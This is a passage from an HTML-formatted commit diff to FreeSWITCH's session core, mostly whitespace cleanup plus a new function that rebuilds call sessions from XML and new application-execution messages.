-    case SWITCH_MESSAGE_INDICATE_PROGRESS:
-    case SWITCH_MESSAGE_INDICATE_BRIDGE:
-    case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
-    case SWITCH_MESSAGE_INDICATE_TRANSFER:
-    case SWITCH_MESSAGE_INDICATE_RINGING:
-    case SWITCH_MESSAGE_INDICATE_MEDIA:
-    case SWITCH_MESSAGE_INDICATE_NOMEDIA:
-    case SWITCH_MESSAGE_INDICATE_HOLD:
-    case SWITCH_MESSAGE_INDICATE_UNHOLD:
-    case SWITCH_MESSAGE_INDICATE_REDIRECT:
-    case SWITCH_MESSAGE_INDICATE_RESPOND:
-    case SWITCH_MESSAGE_INDICATE_BROADCAST:
-    case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
-    case SWITCH_MESSAGE_INDICATE_DEFLECT:
</del><ins>+        case SWITCH_MESSAGE_REDIRECT_AUDIO:
+        case SWITCH_MESSAGE_INDICATE_ANSWER:
+        case SWITCH_MESSAGE_INDICATE_PROGRESS:
+        case SWITCH_MESSAGE_INDICATE_BRIDGE:
+        case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
+        case SWITCH_MESSAGE_INDICATE_TRANSFER:
+        case SWITCH_MESSAGE_INDICATE_RINGING:
+        case SWITCH_MESSAGE_INDICATE_MEDIA:
+        case SWITCH_MESSAGE_INDICATE_NOMEDIA:
+        case SWITCH_MESSAGE_INDICATE_HOLD:
+        case SWITCH_MESSAGE_INDICATE_UNHOLD:
+        case SWITCH_MESSAGE_INDICATE_REDIRECT:
+        case SWITCH_MESSAGE_INDICATE_RESPOND:
+        case SWITCH_MESSAGE_INDICATE_BROADCAST:
+        case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
+        case SWITCH_MESSAGE_INDICATE_DEFLECT:
</ins><span class="cx">                 switch_core_session_kill_channel(session, SWITCH_SIG_BREAK);
</span><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         switch_core_session_free_message(&amp;message);
</span><span class="cx">         switch_core_session_rwunlock(session);
</span><span class="lines">@@ -711,12 +715,12 @@
</span><span class="cx">         *message = NULL;
</span><span class="cx"> 
</span><span class="cx">         if (switch_test_flag(to_free, SCSMF_DYNAMIC)) {
</span><del>-                s = (char *)to_free-&gt;string_arg;
</del><ins>+                s = (char *) to_free-&gt;string_arg;
</ins><span class="cx">                 switch_safe_free(s);
</span><span class="cx">                 switch_safe_free(to_free-&gt;pointer_arg);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (i = 0; i &lt; MESSAGE_STRING_ARG_MAX; i++) {
</span><del>-                        s = (char *)to_free-&gt;string_array_arg[i];
</del><ins>+                        s = (char *) to_free-&gt;string_array_arg[i];
</ins><span class="cx">                         switch_safe_free(s);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -845,7 +849,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (session-&gt;private_event_queue) {
</span><span class="cx">                 queue = priority ? session-&gt;private_event_queue_pri : session-&gt;private_event_queue;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 (*event)-&gt;event_id = SWITCH_EVENT_PRIVATE_COMMAND;
</span><span class="cx">                 if (switch_queue_trypush(queue, *event) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         *event = NULL;
</span><span class="lines">@@ -864,12 +868,12 @@
</span><span class="cx">                         switch_ivr_nomedia(session-&gt;uuid_str, SMF_REBRIDGE);                \
</span><span class="cx">                 }                                                                                                                                \
</span><span class="cx">         }                                                                                                                                        \
</span><del>-                
</del><ins>+
</ins><span class="cx"> SWITCH_DECLARE(uint32_t) switch_core_session_private_event_count(switch_core_session_t *session)
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         uint32_t count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session-&gt;private_event_queue) {
</span><span class="cx"> 
</span><span class="cx">                 if (!switch_channel_test_flag(channel, CF_EVENT_LOCK)) {
</span><span class="lines">@@ -894,7 +898,7 @@
</span><span class="cx">         void *pop;
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_queue_t *queue;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session-&gt;private_event_queue) {
</span><span class="cx">                 if (switch_queue_size(session-&gt;private_event_queue_pri)) {
</span><span class="cx">                         queue = session-&gt;private_event_queue_pri;
</span><span class="lines">@@ -904,7 +908,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         queue = session-&gt;private_event_queue;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_channel_test_flag(channel, CF_EVENT_LOCK)) {
</span><span class="cx">                                 return SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><span class="lines">@@ -985,16 +989,11 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_wake_session_thread(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        int x = 5;
</del><span class="cx">         /* If trylock fails the signal is already awake so we needn't bother */
</span><del>-        for(;;) {
-                if (switch_mutex_trylock(session-&gt;mutex) == SWITCH_STATUS_SUCCESS) {
-                        switch_thread_cond_signal(session-&gt;cond);
-                        switch_mutex_unlock(session-&gt;mutex);
-                        return;
-                }
-                if (!--x) return;
-                switch_yield(1000);
</del><ins>+
+        if (switch_mutex_trylock(session-&gt;mutex) == SWITCH_STATUS_SUCCESS) {
+                switch_thread_cond_signal(session-&gt;cond);
+                switch_mutex_unlock(session-&gt;mutex);
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1036,7 +1035,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         switch_core_session_reset(*session, TRUE, SWITCH_TRUE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_media_bug_remove_all(*session);
</span><span class="cx">         switch_ivr_deactivate_unicast(*session);
</span><span class="cx"> 
</span><span class="lines">@@ -1078,7 +1077,7 @@
</span><span class="cx">         switch_event_t *event;
</span><span class="cx">         switch_core_session_t *session;
</span><span class="cx">         char *uuid = task-&gt;cmd_arg;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((session = switch_core_session_locate(uuid))) {
</span><span class="cx">                 switch_event_create(&amp;event, SWITCH_EVENT_SESSION_HEARTBEAT);
</span><span class="cx">                 switch_channel_event_set_data(session-&gt;channel, event);
</span><span class="lines">@@ -1103,7 +1102,7 @@
</span><span class="cx"> {
</span><span class="cx"> 
</span><span class="cx">         switch_core_session_unsched_heartbeat(session);
</span><del>-        session-&gt;track_id = switch_scheduler_add_task(switch_epoch_time_now(NULL), sch_heartbeat_callback, (char *) __SWITCH_FUNC__, 
</del><ins>+        session-&gt;track_id = switch_scheduler_add_task(switch_epoch_time_now(NULL), sch_heartbeat_callback, (char *) __SWITCH_FUNC__,
</ins><span class="cx">                                                                                                   switch_core_session_get_uuid(session), 0, strdup(switch_core_session_get_uuid(session)), SSHF_FREE_ARG);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1117,19 +1116,20 @@
</span><span class="cx"> 
</span><span class="cx">         session-&gt;track_duration = seconds;
</span><span class="cx"> 
</span><del>-        if (switch_channel_test_flag(session-&gt;channel,  CF_PROXY_MODE)) {
-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;%s using scheduler due to bypass_media mode\n&quot;, switch_channel_get_name(session-&gt;channel));
</del><ins>+        if (switch_channel_test_flag(session-&gt;channel, CF_PROXY_MODE)) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;%s using scheduler due to bypass_media mode\n&quot;,
+                                                  switch_channel_get_name(session-&gt;channel));
</ins><span class="cx">                 switch_core_session_sched_heartbeat(session, seconds);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_core_session_unsched_heartbeat(session);
</span><del>-        
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;%s setting session heartbeat to %u second(s).\n&quot;, 
</del><ins>+
+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;%s setting session heartbeat to %u second(s).\n&quot;,
</ins><span class="cx">                                           switch_channel_get_name(session-&gt;channel), seconds);
</span><span class="cx"> 
</span><span class="cx">         session-&gt;read_frame_count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_disable_heartbeat(switch_core_session_t *session)
</span><span class="lines">@@ -1138,7 +1138,7 @@
</span><span class="cx">         switch_assert(session != NULL);
</span><span class="cx">         session-&gt;read_frame_count = 0;
</span><span class="cx">         session-&gt;track_duration = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_bool_t) switch_core_session_in_thread(switch_core_session_t *session)
</span><span class="lines">@@ -1234,7 +1234,7 @@
</span><span class="cx">         if (switch_core_hash_find(session_manager.session_table, use_uuid)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Duplicate UUID!\n&quot;);
</span><span class="cx">                 switch_mutex_unlock(runtime.session_hash_mutex);
</span><del>-        return SWITCH_STATUS_FALSE;
</del><ins>+                return SWITCH_STATUS_FALSE;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         msg.message_id = SWITCH_MESSAGE_INDICATE_UUID_CHANGE;
</span><span class="lines">@@ -1251,16 +1251,222 @@
</span><span class="cx">         switch_mutex_unlock(runtime.session_hash_mutex);
</span><span class="cx">         switch_channel_event_set_data(session-&gt;channel, event);
</span><span class="cx">         switch_event_fire(&amp;event);
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><ins>+static char *xml_find_var(switch_xml_t vars, const char *name)
+{
+        switch_xml_t var;
+        if ((var = switch_xml_child(vars, name)) &amp;&amp; var-&gt;txt) {
+                return var-&gt;txt;
+        }
+
+        return NULL;
+}
+
+static void parse_array(const char *str, uint32_t *array, int32_t array_len)
+{
+        char *p, *v, *dup, *next = NULL;
+
+        if (zstr(str)) {
+                return;
+        }
+
+        dup = strdup(str);
+
+        p = dup;
+        while (p) {
+                if ((next = strchr(p, ';'))) {
+                        *next++ = '\0';
+                }
+
+                if ((v = strchr(p, '='))) {
+                        *v++ = '\0';
+                }
+
+                if (p &amp;&amp; v) {
+                        int x = 0, y = 0;
+
+                        x = atoi(p);
+                        y = atoi(v);
+
+                        if (x &lt; array_len) {
+                                array[x] = y;
+                        }
+                }
+
+                p = next;
+
+        }
+
+        free(dup);
+}
+
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_xml(switch_endpoint_interface_t *endpoint_interface,
+                                                                                                                                                switch_memory_pool_t **pool, switch_xml_t xml)
+{
+        switch_core_session_t *session;
+        switch_channel_t *channel;
+        switch_xml_t tag, tag2, tag3, vars, callflow;
+        switch_call_direction_t direction = SWITCH_CALL_DIRECTION_OUTBOUND;
+        char *bridgeto, *flag_str = NULL, *cap_str = NULL, *direction_s = NULL, *uuid = NULL;
+        uint32_t flags[CF_FLAG_MAX] = { 0 };
+        uint32_t caps[CC_FLAG_MAX] = { 0 };
+        int i;
+
+        vars = switch_xml_child(xml, &quot;variables&quot;);
+        bridgeto = xml_find_var(vars, SWITCH_SIGNAL_BOND_VARIABLE);
+        uuid = xml_find_var(vars, &quot;uuid&quot;);
+
+        if ((tag = switch_xml_child(xml, &quot;channel_data&quot;))) {
+                direction_s = xml_find_var(tag, &quot;direction&quot;);
+                direction = !strcmp(direction_s, &quot;outbound&quot;) ? SWITCH_CALL_DIRECTION_OUTBOUND : SWITCH_CALL_DIRECTION_INBOUND;
+                flag_str = xml_find_var(tag, &quot;flags&quot;);
+                cap_str = xml_find_var(tag, &quot;caps&quot;);
+        }
+
+        parse_array(flag_str, flags, CF_FLAG_MAX);
+        parse_array(cap_str, caps, CC_FLAG_MAX);
+
+        if (!(session = switch_core_session_request_uuid(endpoint_interface, direction, pool, uuid))) {
+                return NULL;
+        }
+
+        channel = switch_core_session_get_channel(session);
+
+        for (i = 0; i &lt; CF_FLAG_MAX; i++) {
+                if (flags[i]) {
+                        switch_channel_set_flag_value(channel, i, flags[i]);
+                }
+        }
+
+        for (i = 0; i &lt; CC_FLAG_MAX; i++) {
+                if (caps[i]) {
+                        switch_channel_set_cap_value(channel, i, caps[i]);
+                }
+        }
+
+        if ((tag2 = switch_xml_child(xml, &quot;variables&quot;))) {
+                for (tag = tag2-&gt;child; tag; tag = tag-&gt;sibling) {
+                        if (tag-&gt;name &amp;&amp; tag-&gt;txt) {
+                                char *p = strdup(tag-&gt;txt);
+                                char *val = p;
+                                switch_url_decode(val);
+                                switch_channel_set_variable(channel, tag-&gt;name, val);
+                                free(p);
+                        }
+                }
+        }
+
+        if ((callflow = switch_xml_child(xml, &quot;callflow&quot;))) {
+                if ((tag2 = switch_xml_child(callflow, &quot;caller_profile&quot;))) {
+                        switch_caller_profile_t *caller_profile;
+                        char *name;
+                        char *tmp;
+
+                        caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+                                                                                                           xml_find_var(tag2, &quot;username&quot;),
+                                                                                                           xml_find_var(tag2, &quot;dialplan&quot;),
+                                                                                                           xml_find_var(tag2, &quot;caller_id_name&quot;),
+                                                                                                           xml_find_var(tag2, &quot;caller_id_number&quot;),
+                                                                                                           xml_find_var(tag2, &quot;network_addr&quot;),
+                                                                                                           xml_find_var(tag2, &quot;ani&quot;),
+                                                                                                           xml_find_var(tag2, &quot;aniii&quot;),
+                                                                                                           xml_find_var(tag2, &quot;rdnis&quot;),
+                                                                                                           xml_find_var(tag2, &quot;source&quot;),
+                                                                                                           xml_find_var(tag2, &quot;context&quot;), xml_find_var(tag2, &quot;destination_number&quot;));
+
+                        if ((tmp = xml_find_var(tag2, &quot;callee_id_name&quot;))) {
+                                caller_profile-&gt;callee_id_name = switch_core_session_strdup(session, tmp);
+                        }
+
+                        if ((tmp = xml_find_var(tag2, &quot;callee_id_number&quot;))) {
+                                caller_profile-&gt;callee_id_number = switch_core_session_strdup(session, tmp);
+                        }
+
+                        if ((name = xml_find_var(tag2, &quot;channel_name&quot;))) {
+                                switch_channel_set_name(channel, name);
+                        }
+
+                        if ((tag3 = switch_xml_child(callflow, &quot;times&quot;))) {
+                                caller_profile-&gt;times = (switch_channel_timetable_t *) switch_core_session_alloc(session, sizeof(*caller_profile-&gt;times));
+
+                                caller_profile-&gt;times-&gt;resurrected = switch_time_now();
+
+                                for (tag3 = tag3-&gt;child; tag3; tag3 = tag3-&gt;sibling) {
+                                        int64_t v;
+
+                                        if (tag3-&gt;name &amp;&amp; tag3-&gt;txt) {
+                                                v = atoll(tag3-&gt;txt);
+                                                if (!strcmp(tag3-&gt;name, &quot;created_time&quot;)) {
+                                                        caller_profile-&gt;times-&gt;created = v;
+                                                } else if (!strcmp(tag3-&gt;name, &quot;profile_created_time&quot;)) {
+                                                        caller_profile-&gt;times-&gt;profile_created = v;
+                                                } else if (!strcmp(tag3-&gt;name, &quot;progress_time&quot;)) {
+                                                        caller_profile-&gt;times-&gt;progress = v;
+                                                } else if (!strcmp(tag3-&gt;name, &quot;progress_media_time&quot;)) {
+                                                        caller_profile-&gt;times-&gt;progress_media = v;
+                                                } else if (!strcmp(tag3-&gt;name, &quot;answered_time&quot;)) {
+                                                        caller_profile-&gt;times-&gt;answered = v;
+                                                } else if (!strcmp(tag3-&gt;name, &quot;hangup_time&quot;)) {
+                                                        caller_profile-&gt;times-&gt;hungup = v;
+                                                } else if (!strcmp(tag3-&gt;name, &quot;transfer_time&quot;)) {
+                                                        caller_profile-&gt;times-&gt;transferred = v;
+                                                }
+                                        }
+
+                                }
+                        }
+
+                        switch_channel_set_caller_profile(channel, caller_profile);
+                        if ((tag = switch_xml_child(tag2, &quot;originator&quot;)) &amp;&amp; (tag = tag-&gt;child)) {
+                                caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+                                                                                                                   xml_find_var(tag, &quot;username&quot;),
+                                                                                                                   xml_find_var(tag, &quot;dialplan&quot;),
+                                                                                                                   xml_find_var(tag, &quot;caller_id_name&quot;),
+                                                                                                                   xml_find_var(tag, &quot;caller_id_number&quot;),
+                                                                                                                   xml_find_var(tag, &quot;network_addr&quot;),
+                                                                                                                   xml_find_var(tag, &quot;ani&quot;),
+                                                                                                                   xml_find_var(tag, &quot;aniii&quot;),
+                                                                                                                   xml_find_var(tag, &quot;rdnis&quot;),
+                                                                                                                   xml_find_var(tag, &quot;source&quot;),
+                                                                                                                   xml_find_var(tag, &quot;context&quot;), xml_find_var(tag, &quot;destination_number&quot;));
+
+                                switch_channel_set_originator_caller_profile(channel, caller_profile);
+                        }
+
+                        if ((tag = switch_xml_child(tag2, &quot;originatee&quot;)) &amp;&amp; (tag = tag-&gt;child)) {
+                                caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+                                                                                                                   xml_find_var(tag, &quot;username&quot;),
+                                                                                                                   xml_find_var(tag, &quot;dialplan&quot;),
+                                                                                                                   xml_find_var(tag, &quot;caller_id_name&quot;),
+                                                                                                                   xml_find_var(tag, &quot;caller_id_number&quot;),
+                                                                                                                   xml_find_var(tag, &quot;network_addr&quot;),
+                                                                                                                   xml_find_var(tag, &quot;ani&quot;),
+                                                                                                                   xml_find_var(tag, &quot;aniii&quot;),
+                                                                                                                   xml_find_var(tag, &quot;rdnis&quot;),
+                                                                                                                   xml_find_var(tag, &quot;source&quot;),
+                                                                                                                   xml_find_var(tag, &quot;context&quot;), xml_find_var(tag, &quot;destination_number&quot;));
+
+                                switch_channel_set_originatee_caller_profile(channel, caller_profile);
+                        }
+
+                }
+
+        }
+
+
+        return session;
+}
+
+
+
</ins><span class="cx"> SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(switch_endpoint_interface_t
</span><del>-                                                                                                                                                 *endpoint_interface, 
</del><ins>+                                                                                                                                                 *endpoint_interface,
</ins><span class="cx">                                                                                                                                                  switch_call_direction_t direction,
</span><del>-                                                                                                                                                 switch_memory_pool_t **pool, 
-                                                                                                                                                 const char *use_uuid)
</del><ins>+                                                                                                                                                 switch_memory_pool_t **pool, const char *use_uuid)
</ins><span class="cx"> {
</span><span class="cx">         switch_memory_pool_t *usepool;
</span><span class="cx">         switch_core_session_t *session;
</span><span class="lines">@@ -1271,7 +1477,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (use_uuid &amp;&amp; switch_core_hash_find(session_manager.session_table, use_uuid)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Duplicate UUID!\n&quot;);
</span><del>-        return NULL;
</del><ins>+                return NULL;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!switch_core_ready() || endpoint_interface == NULL) {
</span><span class="lines">@@ -1309,7 +1515,7 @@
</span><span class="cx">         session-&gt;pool = usepool;
</span><span class="cx"> 
</span><span class="cx">         switch_core_memory_pool_set_data(session-&gt;pool, &quot;__session&quot;, session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_alloc(&amp;session-&gt;channel, direction, session-&gt;pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 abort();
</span><span class="cx">         }
</span><span class="lines">@@ -1319,7 +1525,7 @@
</span><span class="cx">         if (direction == SWITCH_CALL_DIRECTION_OUTBOUND) {
</span><span class="cx">                 switch_channel_set_flag(session-&gt;channel, CF_OUTBOUND);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* The session *IS* the pool you may not alter it because you have no idea how
</span><span class="cx">            its all private it will be passed to the thread run function */
</span><span class="cx"> 
</span><span class="lines">@@ -1330,6 +1536,8 @@
</span><span class="cx">                 switch_uuid_format(session-&gt;uuid_str, &amp;uuid);
</span><span class="cx">         }
</span><span class="cx"> 
</span><ins>+        switch_channel_set_variable(session-&gt;channel, &quot;uuid&quot;, session-&gt;uuid_str);
+
</ins><span class="cx">         session-&gt;endpoint_interface = endpoint_interface;
</span><span class="cx">         session-&gt;raw_write_frame.data = session-&gt;raw_write_buf;
</span><span class="cx">         session-&gt;raw_write_frame.buflen = sizeof(session-&gt;raw_write_buf);
</span><span class="lines">@@ -1359,7 +1567,7 @@
</span><span class="cx">         session-&gt;id = session_manager.session_id++;
</span><span class="cx">         session_manager.session_count++;
</span><span class="cx">         switch_mutex_unlock(runtime.session_hash_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return session;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1379,9 +1587,8 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(const char *endpoint_name, 
-                                                                                                                                                        switch_call_direction_t direction, 
-                                                                                                                                                        switch_memory_pool_t **pool)
</del><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(const char *endpoint_name,
+                                                                                                                                                        switch_call_direction_t direction, switch_memory_pool_t **pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_endpoint_interface_t *endpoint_interface;
</span><span class="cx">         switch_core_session_t *session;
</span><span class="lines">@@ -1480,18 +1687,18 @@
</span><span class="cx"> 
</span><span class="cx">         UNPROTECT_INTERFACE(application_interface);
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_execute_application_get_flags(switch_core_session_t *session, const char *app, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_execute_application_get_flags(switch_core_session_t *session, const char *app,
</ins><span class="cx">                                                                                                                                                                   const char *arg, int32_t *flags)
</span><span class="cx"> {
</span><span class="cx">         switch_application_interface_t *application_interface;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_down(session-&gt;channel)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Channel is hungup, aborting execution of application: %s\n&quot;, app);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1528,10 +1735,10 @@
</span><span class="cx"> 
</span><span class="cx">         switch_core_session_exec(session, application_interface, arg);
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         UNPROTECT_INTERFACE(application_interface);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1544,16 +1751,17 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         char *expanded = NULL;
</span><span class="cx">         const char *app;
</span><ins>+        switch_core_session_message_t msg = { 0 };
</ins><span class="cx"> 
</span><span class="cx">         switch_assert(application_interface);
</span><span class="cx"> 
</span><span class="cx">         app = application_interface-&gt;interface_name;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (arg) {
</span><span class="cx">                 expanded = switch_channel_expand_variables(session-&gt;channel, arg);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG, &quot;EXECUTE %s %s(%s)\n&quot;, 
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG, &quot;EXECUTE %s %s(%s)\n&quot;,
</ins><span class="cx">                                           switch_channel_get_name(session-&gt;channel), app, switch_str_nil(expanded));
</span><span class="cx"> 
</span><span class="cx">         if ((var = switch_channel_get_variable(session-&gt;channel, &quot;verbose_presence&quot;)) &amp;&amp; switch_true(var)) {
</span><span class="lines">@@ -1587,11 +1795,11 @@
</span><span class="cx">                         session-&gt;app_log = log;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_VARIABLE, application_interface-&gt;interface_name);
</span><span class="cx">         switch_channel_set_variable_var_check(channel, SWITCH_CURRENT_APPLICATION_DATA_VARIABLE, expanded, SWITCH_FALSE);
</span><span class="cx">         switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_RESPONSE_VARIABLE, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_event_create(&amp;event, SWITCH_EVENT_CHANNEL_EXECUTE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_channel_event_set_data(session-&gt;channel, event);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Application&quot;, application_interface-&gt;interface_name);
</span><span class="lines">@@ -1605,8 +1813,14 @@
</span><span class="cx"> 
</span><span class="cx">         switch_channel_set_variable(session-&gt;channel, SWITCH_CURRENT_APPLICATION_VARIABLE, application_interface-&gt;interface_name);
</span><span class="cx"> 
</span><ins>+        msg.from = __FILE__;
+        msg.message_id = SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC;
+        msg.string_array_arg[0] = application_interface-&gt;interface_name;
+        msg.string_array_arg[1] = expanded;
+        switch_core_session_receive_message(session, &amp;msg);
+
</ins><span class="cx">         application_interface-&gt;application_function(session, expanded);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_event_create(&amp;event, SWITCH_EVENT_CHANNEL_EXECUTE_COMPLETE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 const char *resp = switch_channel_get_variable(session-&gt;channel, SWITCH_CURRENT_APPLICATION_RESPONSE_VARIABLE);
</span><span class="cx">                 switch_channel_event_set_data(session-&gt;channel, event);
</span><span class="lines">@@ -1616,10 +1830,13 @@
</span><span class="cx">                 switch_event_fire(&amp;event);
</span><span class="cx">         }
</span><span class="cx"> 
</span><ins>+        msg.message_id = SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC_COMPLETE;
+        switch_core_session_receive_message(session, &amp;msg);
+
</ins><span class="cx">         if (expanded != arg) {
</span><span class="cx">                 switch_safe_free(expanded);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1640,7 +1857,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (session-&gt;stack_count &gt; SWITCH_MAX_STACKS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Error %s too many stacked extensions\n&quot;, switch_channel_get_name(session-&gt;channel));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Error %s too many stacked extensions\n&quot;,
+                                                  switch_channel_get_name(session-&gt;channel));
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1657,7 +1875,7 @@
</span><span class="cx">                 new_profile-&gt;context = switch_core_strdup(new_profile-&gt;pool, context);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        dpstr = switch_core_session_strdup(session, new_profile-&gt;dialplan);        
</del><ins>+        dpstr = switch_core_session_strdup(session, new_profile-&gt;dialplan);
</ins><span class="cx"> 
</span><span class="cx">         switch_channel_set_hunt_caller_profile(channel, new_profile);
</span><span class="cx">         argc = switch_separate_string(dpstr, ',', dp, (sizeof(dp) / sizeof(dp[0])));
</span><span class="lines">@@ -1680,7 +1898,7 @@
</span><span class="cx">                 count++;
</span><span class="cx"> 
</span><span class="cx">                 extension = dialplan_interface-&gt;hunt_function(session, dparg, new_profile);
</span><del>-                UNPROTECT_INTERFACE(dialplan_interface);        
</del><ins>+                UNPROTECT_INTERFACE(dialplan_interface);
</ins><span class="cx"> 
</span><span class="cx">                 if (extension) {
</span><span class="cx">                         break;
</span><span class="lines">@@ -1726,15 +1944,15 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_session_set_loglevel(switch_core_session_t *session, switch_log_level_t loglevel)
</span><span class="cx"> {
</span><del>-       switch_assert(session != NULL);
-       session-&gt;loglevel = loglevel;
-       return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_assert(session != NULL);
+        session-&gt;loglevel = loglevel;
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_log_level_t) switch_core_session_get_loglevel(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-       switch_assert(session != NULL);
-       return session-&gt;loglevel;
</del><ins>+        switch_assert(session != NULL);
+        return session-&gt;loglevel;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* For Emacs:
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_speechc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_speech.c (16578 => 16579)</h4>
<pre class="diff"><span>
